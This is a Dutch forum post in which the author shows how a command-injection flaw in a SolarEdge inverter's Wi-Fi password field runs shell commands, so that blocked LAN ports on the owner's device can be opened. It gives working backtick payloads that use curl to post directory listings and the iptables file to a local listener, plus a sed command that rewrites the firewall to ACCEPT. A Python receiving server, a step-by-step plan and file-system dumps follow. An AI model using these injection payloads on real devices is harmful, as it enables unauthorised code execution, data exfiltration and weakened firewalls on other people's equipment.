Alle stappen die hieronder beschreven staan zijn volledig op eigen risico. Doe dit alleen maar als je snapt hoe het werkt.
Hallo allemaal,het is me vandaag gelukt om de SolarEdge's website op poort 80 en poort 8080 weer open te zetten op het LAN netwerk.
Ik post hieronder hoe ik dit heb gedaan, ik hoop dat ik hier iemand mee help.
Hoe werkt het?
Toen ik vorige week de patch notes op solarEdge's website keek zag ik het volgende staan:code:
1
2
| Can’t connect to Wi-Fi routers with password containing the following special characters: Dollar - $, back tick - `, quote - ", or forward slash - \ Workaround: Change Wi-Fi router password to exclude these 4 characters |
Nu herken ik deze tekens meteen: we kunnen bash scripts uitvoeren op de SolarEdge.
Nadat ik er even mee heb gespeeld kwam ik er al snel achter hoe je zelfs de output uit de SolarEdge moet krijgen: via net netwerk.
Als je in het wachtwoord veld van de SolarEdge de de volgende waarde stopt wordt alles tussen de backticks uitgevoert:
code:
1
| `ls -l / > /tmp/temp-output | curl -X POST --data-binary @/tmp/temp-output http://172.16.0.10:8080` |
Hierbij voer je ls -l / uit, en sla je de output op in het bestand /tmp/temp-output. Vervolgens verstuur je met curl de inhoud van dit bestand naar een webserver op het address "172.16.0.10:8080".
om de output te krijgen is het dus van belang dat je een webserver draait op het apparaat wat je met de SolarEdge's wifi netwerk verbind.
Met behulp van deze code execution exploit kunnen wij de volgende firewall regels zien in het volgende bestand: /data/configs/iptables.conf
wifi wachtwoord:
code:
1
| `curl -X POST --data-binary @/data/configs/iptables.conf http://172.16.0.10:8080` |
resultaat:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
| *filter :INPUT ACCEPT [49:2926] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [46:2692] # Allow loopback (All reverse SSH traffic) -I INPUT 1 -i lo -j ACCEPT # Allow WiFi AP traffic over 80 & 8080 -A INPUT -i p2p0 -p tcp --dport 80 -j ACCEPT -A INPUT -i p2p0 -p tcp --dport 8080 -j ACCEPT # Drop any traffic to port 80 & 8080 -A INPUT -p tcp -m tcp --dport 80 -j DROP -A INPUT -p tcp -m tcp --dport 8080 -j DROP COMMIT |
Hierin wordt het gedrag van de SolarEdge bepaald, hij blokkeerd het LAN op poort 80 en 8080, maar laat gebruikers op de wifi toe. Gelukkig kunnen we deze regels nu ook veranderen.
Dit doe je met het volgende wifi wachtwoord
code:
1
| `sed 's/DROP/ACCEPT/' /data/configs/iptables.conf -i` |
Na het uitvoeren van dit commando ziet onze firewall er zo uit:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
| *filter :INPUT ACCEPT [49:2926] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [46:2692] # Allow loopback (All reverse SSH traffic) -I INPUT 1 -i lo -j ACCEPT # Allow WiFi AP traffic over 80 & 8080 -A INPUT -i p2p0 -p tcp --dport 80 -j ACCEPT -A INPUT -i p2p0 -p tcp --dport 8080 -j ACCEPT # Drop any traffic to port 80 & 8080 -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT -A INPUT -p tcp -m tcp --dport 8080 -j ACCEPT COMMIT |
Als we de solarEdge nu opnieuw opstarten kunnen we onze Protocolbuffers weer bij!
De python3 webserver
hieronder heb ik een kort python3 script waarmee je een webserver op kan zetten die alle post requests in de console output.code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
| #!/usr/bin/env python3 """ Very simple HTTP server in python for logging requests Usage:: ./server.py [<port>] """ from http.server import BaseHTTPRequestHandler, HTTPServer import logging class S(BaseHTTPRequestHandler): def _set_response(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_GET(self): logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) self._set_response() self.wfile.write("GET request for {}".format(self.path).encode('utf-8')) def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) #logging.info(" %s",post_data.decode('utf-8')) print("%s"%(post_data.decode('utf-8'))) self._set_response() self.wfile.write("".encode('utf-8')) def log_message(self, format, *args): pass def run(server_class=HTTPServer, handler_class=S, port=8080): logging.basicConfig(level=logging.INFO) server_address = ('', port) httpd = server_class(server_address, handler_class) logging.info('Starting httpd...\n') try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() logging.info('Stopping httpd...\n') if __name__ == '__main__': from sys import argv if len(argv) == 2: run(port=int(argv[1])) else: run() |
Gevolgen
Het is belangrijk dat je de solar edge van het internet blokkeerd, anders kan de solarEdge zichzelf updaten, de exploit patchen en de protocol buffers gewoon weer afschermen.Dit betekend dat je geen nieuwere firmware krijgt todat je of de solarEdge internet geeft of een nieuw firmware bestand op poort 8080 upload (bestanden zijn te verkrijgen met
een android telefoon die root acces heeft.)
Het online monitoring platform van SolarEdge krijgt hierdoor geen data meer binnen, en deze kan je dus ook niet meer gebruiken.
Natuurlijk krijgen we ook het gewenste resultaat, en staan poort 80 en 8080 weer open voor het LAN.
Het stappen plan in het kort
Soms heb je last van een slechte wifi verbinding en krijg je geen bericht terug van de omvormer, dan kan het meerdere pogingen nodig hebben. het SED command geeft geen output.- Blokkeer de solarEdge van het internet.
- BLOKKEER DE SOLAR EDGE IN DE FIREWALL DIT KEER ECHT VAN HET INTERNET
- Installeer python 3 op je laptop
- Start de webserver op.
- Verbind de laptop met het wifi netwerk van de solar edge
- Open de solar edge webpagina op 172.16.0.1
- ga naar Communication > Wifi en kies een wifi netwerk uit.
- Vul het volgende wachtwoord in (MET BACKTICKS): code:
1
`curl -X POST --data-binary @/data/configs/iptables.conf http://172.16.0.10:8080`
- Controleer je output in de webserver, en zie hoe poort 80 DROP heeft.
- Vergeet het wifi netwerk en vul het volgende wachtwoord in: code:
1
`sed 's/DROP/ACCEPT/' /data/configs/iptables.conf -i`
- Controleer opnieuw de iptables, en zie dat DROP is veranderd in ACCEPT.
- Start de SolarEdge opnieuw op en geniet van werkende protocolbuffers
overige info
Hier is nog een dump van de root folder.code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| total 4 drwxr-xr-x 2 root root 4576 Dec 13 01:09 bin drwxr-xr-x 17 1001 root 1128 Mar 7 06:00 data drwxr-xr-x 6 root root 3420 May 1 12:57 dev drwxr-xr-x 15 root root 3680 Dec 13 01:09 etc drwxr-xr-x 5 root root 3120 Dec 13 01:09 lib lrwxrwxrwx 1 root root 3 Dec 13 00:39 lib32 -> lib lrwxrwxrwx 1 root root 11 Dec 13 00:47 linuxrc -> bin/busybox drwxrwxrwt 3 root root 60 May 1 09:30 media drwxrwxrwt 2 root root 40 May 1 09:29 mnt drwxr-xr-x 2 root root 160 Dec 13 00:31 opt dr-xr-xr-x 66 root root 0 Jan 1 1970 proc drwx------ 2 root root 2416 Dec 13 00:31 root drwxr-xr-x 6 root root 240 May 1 13:41 run drwxr-xr-x 2 root root 3552 Dec 13 01:09 sbin dr-xr-xr-x 16 root root 0 May 1 09:29 sys drwxrwxrwt 2 root root 240 May 1 13:51 tmp drwxr-xr-x 7 root root 552 Dec 13 00:31 usr drwxr-xr-x 4 root root 672 Dec 13 01:09 var drwxr-xr-x 3 root root 368 Dec 13 00:31 www drwxr-xr-x 4 root root 4096 May 1 09:29 ztmp |
En hier van de /etc folder.
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
| total 220 drwxr-xr-x 2 root root 224 Dec 13 00:31 certs -rwxr-xr-x 1 root root 152 Dec 13 00:31 data_rotatelog.sh drwxr-xr-x 2 root root 232 Dec 13 00:31 default lrwxrwxrwx 1 root root 17 Dec 13 00:55 dropbear -> /var/run/dropbear -rw-r--r-- 1 root root 397 Dec 13 00:31 fstab -rwxr-xr-x 1 root root 131 Dec 13 00:31 fw_env.config lrwxrwxrwx 1 root root 15 Dec 13 00:31 group -> /data/etc/group -rw-r--r-- 1 root root 304 Dec 13 01:09 group.template -rwxr-xr-x 1 root root 2514 Dec 13 00:57 healthmon.conf -rw-r--r-- 1 root root 100005 Dec 13 00:57 hostapd.conf -rw-r--r-- 1 root root 9 Dec 13 01:09 hostname -rw-r--r-- 1 root root 39 Dec 13 01:09 hosts -rwxr-xr-x 1 root root 29 Dec 13 00:31 hwrevision drwxr-xr-x 2 root root 648 Dec 13 00:31 init.d -rwxr-xr-x 1 root root 1569 Dec 13 00:31 inittab lrwxrwxrwx 1 root root 27 Dec 13 00:31 iptables.conf -> /data/configs/iptables.conf -rwxr-xr-x 1 root root 410 Dec 13 00:31 iptables.conf.template -rw-r--r-- 1 root root 40 Dec 13 01:09 issue drwxr-xr-x 2 root root 288 Dec 13 00:55 libnl drwxr-xr-x 2 root root 296 Dec 13 00:31 lighttpd -rw-r--r-- 1 root root 967 Dec 13 00:56 mke2fs.conf drwxr-xr-x 2 root root 232 Dec 13 00:31 mosquitto lrwxrwxrwx 1 root root 12 Dec 13 00:31 mtab -> /proc/mounts drwxr-xr-x 6 root root 592 Dec 13 00:31 network -rw-r--r-- 1 root root 230 Dec 13 01:09 nsswitch.conf -rw-r--r-- 1 root root 116 Dec 13 01:09 os-release -rw-r--r-- 1 root root 42 Dec 13 00:31 params lrwxrwxrwx 1 root root 16 Dec 13 00:31 passwd -> /data/etc/passwd -rw-r--r-- 1 root root 382 Dec 13 01:09 passwd.template drwxr-xr-x 2 root root 576 Dec 13 00:31 ppp -rwxr-xr-x 1 root root 1386 Dec 13 00:31 profile drwxr-xr-x 2 root root 232 Dec 13 00:31 profile.d -rw-r--r-- 1 root root 2744 Dec 13 00:31 protocols lrwxrwxrwx 1 root root 21 Dec 13 00:31 resolv.conf -> /data/etc/resolv.conf drwxr-xr-x 2 root root 1024 Dec 13 00:31 rsyslog lrwxrwxrwx 1 root root 34 Dec 13 00:31 rsyslog.conf -> /data/configs/rsyslog/rsyslog.conf drwxr-xr-x 2 root root 160 Dec 13 01:03 rsyslog.d -rw-r--r-- 1 root root 10873 Dec 13 00:31 services lrwxrwxrwx 1 root root 16 Dec 13 00:31 shadow -> /data/etc/shadow -rw------- 1 root root 296 Dec 13 01:09 shadow.template drwxr-xr-x 6 root root 488 Dec 13 00:31 ssl -rw-r--r-- 1 root root 265 Dec 13 01:09 sw-versions -rwxr-xr-x 1 root root 212 Dec 13 00:31 tmp_rotatelog.sh -rwxr-xr-x 1 root root 131 Dec 13 00:31 udhcpd.conf -rwxr-xr-x 1 root root 130 Dec 13 00:31 udhcpd_p2p.conf -rwxr-xr-x 1 root root 384 Dec 13 00:31 wilc_hostapd_p2p.conf -rwxr-xr-x 1 root root 385 Dec 13 00:31 wilc_hostapd_wpa.conf -rwxr-xr-x 1 root root 55 Dec 13 00:31 wilc_wpa_supplicant.conf drwxr-xr-x 3 root root 224 Dec 13 01:03 wireless-regdb -rw-r--r-- 1 root root 78 Dec 13 01:04 wpa_supplicant.conf |
[ Voor 101% gewijzigd door ironsm4sh op 04-05-2020 16:39 ]